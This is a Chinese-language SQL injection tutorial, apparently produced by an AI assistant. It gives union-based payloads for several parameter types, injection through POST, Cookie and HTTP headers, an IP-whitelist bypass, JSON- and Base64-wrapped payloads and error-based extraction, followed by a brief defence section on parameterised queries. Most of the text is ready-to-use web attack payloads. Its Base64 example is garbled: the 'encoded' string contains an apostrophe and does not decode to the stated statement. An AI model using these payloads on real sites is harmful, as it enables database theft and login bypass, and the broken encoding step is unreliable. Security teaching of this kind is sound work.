一、核心知识点总览
本节课聚焦 SQL注入的"场景适配",即不同的代码编写方式(如参数类型、请求方法、数据格式)会导致注入语句的拼接逻辑完全不同。核心解决三个问题:
- 如何应对不同类型参数(数字、字符、搜索框等)的符号干扰?
- 除了GET参数,POST、Cookie、HTTP头如何注入?
- 当数据以JSON、Base64等格式传输时,如何构造注入语句?
二、数据请求类型:破解符号干扰的核心
SQL注入的本质是"拼接恶意SQL语句到原查询中",但原SQL语句的参数格式(如是否带引号、括号)会直接影响注入能否成功。需根据参数类型针对性闭合符号。
| 参数类型 | 原SQL语句示例 | 符号干扰 | 注入语句构造技巧(以id参数为例) | 示例URL/Payload |
|---|---|---|---|---|
| 1. 数字型 | select * from news where id=$id | 无符号干扰 | 直接拼接注入语句(无需处理引号) | id=1 union select 1,2,3,database(),5,6--+ |
| 2. 字符型 | select * from news where id='$id' | 单引号'干扰 | 用单引号'闭合左侧引号,用--+注释右侧多余内容 | id=1' union select 1,2,3,database(),5,6--+ |
| 3. 搜索型 | select * from news where title like '%$key%' | %'干扰 | 用%'闭合左侧%',注入后用and '%'='闭合右侧%(使整体语法合法) | key=1%' union select 1,2,3,database(),5,6--+ and '%'=' |
| 4. 框架型 | select * from news where (id='$id') limit 0,1 | 括号()+单引号 | 用')闭合左侧(id=',再用--+注释右侧limit 0,1 | id=1') union select 1,2,3,database(),5,6--+ |
关键原理:符号闭合的核心逻辑
原SQL语句中,参数周围的符号(单引号、括号、%等)会"包裹"用户输入,导致注入语句被截断。例如字符型的id='$id',若直接注入union select...,会变成id='union select...'(被当作字符串,不执行)。因此必须先闭合左侧符号,再注释右侧多余内容,使注入语句成为有效SQL的一部分。
三、数据请求方法:全场景注入点挖掘
SQL注入不仅存在于URL的GET参数中,POST表单、Cookie、甚至HTTP头字段(如User-Agent)只要被带入SQL查询,都可能成为注入点。需掌握不同请求方法的注入技巧。
3.1 常规请求方法(GET/POST/Cookie)
| 请求方法 | PHP接收变量 | 注入场景示例 | 测试工具 | 注入核心步骤 |
|---|---|---|---|---|
| GET | $_GET['id'] | 商品详情页?id=1、文章页?aid=5 | 浏览器/HackBar | 直接在URL参数后拼接注入语句(如?id=1' union select...--+) |
| POST | $_POST['username'] | 登录表单(用户名/密码)、搜索表单 | Burp Suite | 1. 抓包获取POST数据(如username=admin&password=123); 2. 在参数后加注入语句(如username=admin' union select 1,database(),3,4--+&password=123); 3. 发送数据包观察回显。 |
| Cookie | $_COOKIE['user'] | 记住登录状态(如user=admin) | Burp Suite | 1. 抓包修改Cookie字段; 2. 注入语句格式同字符型(如user=admin' union select...--+)。 |
| REQUEST | $_REQUEST['key'] | 兼容GET/POST/Cookie的通用参数 | 结合上述工具 | 需测试参数在GET/POST/Cookie中是否均可注入(优先测POST,因常被忽略)。 |
3.2 HTTP头注入(隐藏的注入点)
部分网站会将HTTP头字段(如用户代理、IP)存入数据库(如日志记录),若未过滤,可通过修改头字段注入。
| HTTP头字段 | PHP接收变量 | 注入场景 | 注入示例(Burp修改) |
|---|---|---|---|
| User-Agent | $_SERVER['HTTP_USER_AGENT'] | 记录访问设备信息到数据库 | 原头:User-Agent: Mozilla/5.0 → 注入:User-Agent: Mozilla/5.0' union select 1,database(),3--+ |
| X-Forwarded-For | $_SERVER['HTTP_X_FORWARDED_FOR'] | 记录客户端真实IP(常用于IP白名单) | 原头:X-Forwarded-For: 192.168.1.1 → 注入:X-Forwarded-For: 192.168.1.1' union select 1,user(),3--+ and '1'='1 |
| Referer | $_SERVER['HTTP_REFERER'] | 记录请求来源页面 | 原头:Referer: http://example.com/login → 注入:Referer: http://example.com/login' union select 1,version(),3--+ |
| Host | $_SERVER['HTTP_HOST'] | 记录访问的域名/IP | 原头:Host: 192.168.1.100 → 注入:Host: 192.168.1.100' union select 1,@@version_compile_os,3--+ |
实战案例:IP白名单绕过注入
某网站通过以下代码限制仅白名单IP可登录:
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 获取客户端IP
$sql = "select * from admin where ip='$ip'"; // 查IP是否在白名单
-
注入步骤:
- 抓包添加X-Forwarded-For头,构造注入语句闭合单引号:
X-Forwarded-For: 127.0.0.1' union select 1,'admin',3,'123456'--+ - 拼接后SQL变为:
select * from admin where ip='127.0.0.1' union select 1,'admin',3,'123456'--+' - 成功查询到admin账号密码,绕过IP限制。
- 抓包添加X-Forwarded-For头,构造注入语句闭合单引号:
四、数据请求格式:编码与解析场景的注入
当数据以特定格式(如JSON)或编码(如Base64)传输时,需先按格式构造注入语句,再进行编码/封装后发送。
4.1 JSON格式注入
部分API采用JSON传输数据(如{"username":"admin","password":"123"}),后端解析后直接拼接SQL:
$json = file_get_contents('php://input');
$data = json_decode($json, true);
$username = $data['username'];
$sql = "select * from admin where username='$username'";
-
注入步骤:
- 抓包确认数据格式为JSON(请求头Content-Type: application/json);
- 构造注入语句闭合单引号:
{"username":"admin' union select 1,database(),3,4--+","password":"123"} - 发送JSON数据,后端解析后SQL变为:
select * from admin where username='admin' union select 1,database(),3,4--+'
4.2 Base64编码注入
部分网站对参数进行Base64编码(如id=MQ==对应id=1),后端解码后带入SQL:
$id = base64_decode($_GET['id']);
$sql = "select * from news where id='$id'";
-
注入步骤:
- 确认编码方式(可通过id=1→id=MQ==验证为Base64);
- 构造字符型注入语句:1' union select 1,database(),3,4,5,6--+;
- 对注入语句进行Base64编码:MT'IHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyw0LDU2LC0tKQ==;
- 发送请求:?id=MT'IHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyw0LDU2LC0tKQ==,后端解码后执行注入语句。
五、避坑指南与防御要点
5.1 注入失败的常见原因及解决
| 失败原因 | 排查方法 | 解决技巧 |
|---|---|---|
| 符号闭合错误 | 观察原SQL语句格式(通过报错信息推测,如You have an error in your SQL syntax near ''1'') | 多尝试不同闭合符('/")/%'等),结合注释符--+或# |
| 编码/格式不匹配 | 检查数据是否被二次处理(如URL编码、Base64) | 按后端处理逻辑编码注入语句(如Base64编码需确保注入语句解码后语法正确) |
| HTTP头注入无回显 | 确认头字段是否真的被带入SQL(可通过修改正常值观察页面变化) | 改用报错注入(如' and extractvalue(1,concat(0x7e,database()))--+) |
5.2 防御核心策略
-
统一参数化查询:无论何种请求类型/格式,均使用预编译语句(如PHP的mysqli_prepare),禁止直接拼接SQL:
// 安全代码:参数化查询 $stmt = $mysqli->prepare("select * from admin where username=?"); $stmt->bind_param("s", $username); // 绑定字符串类型参数 $stmt->execute(); -
严格过滤输入:对所有用户可控数据(包括GET/POST/头字段)过滤SQL关键字(union、select、'等),但仅作为辅助防御(无法覆盖所有绕过方式)。
-
限制数据库权限:PHP连接MySQL使用低权限用户,禁止file权限(防文件读写)、跨库查询权限(防越权访问)。
总结:注入场景适配的核心逻辑
SQL注入的关键是"让恶意语句成为有效SQL的一部分",需根据三大维度调整策略:
- 请求类型:破解符号干扰(闭合+注释);
- 请求方法:覆盖所有用户可控参数(GET/POST/头字段);
- 请求格式:按编码/格式规则构造注入语句(JSON/Base64等)。
掌握这些场景后,可应对90%以上的SQL注入变种,同时防御需从"参数化查询+最小权限"双管齐下,从根本上阻断注入风险。
结尾交付物提议
需要我整理一份 《SQL注入场景适配速查表》 吗?包含"不同请求类型的闭合符号对照表""HTTP头注入测试清单""编码格式注入步骤流程图",方便快速定位场景并生成注入语句。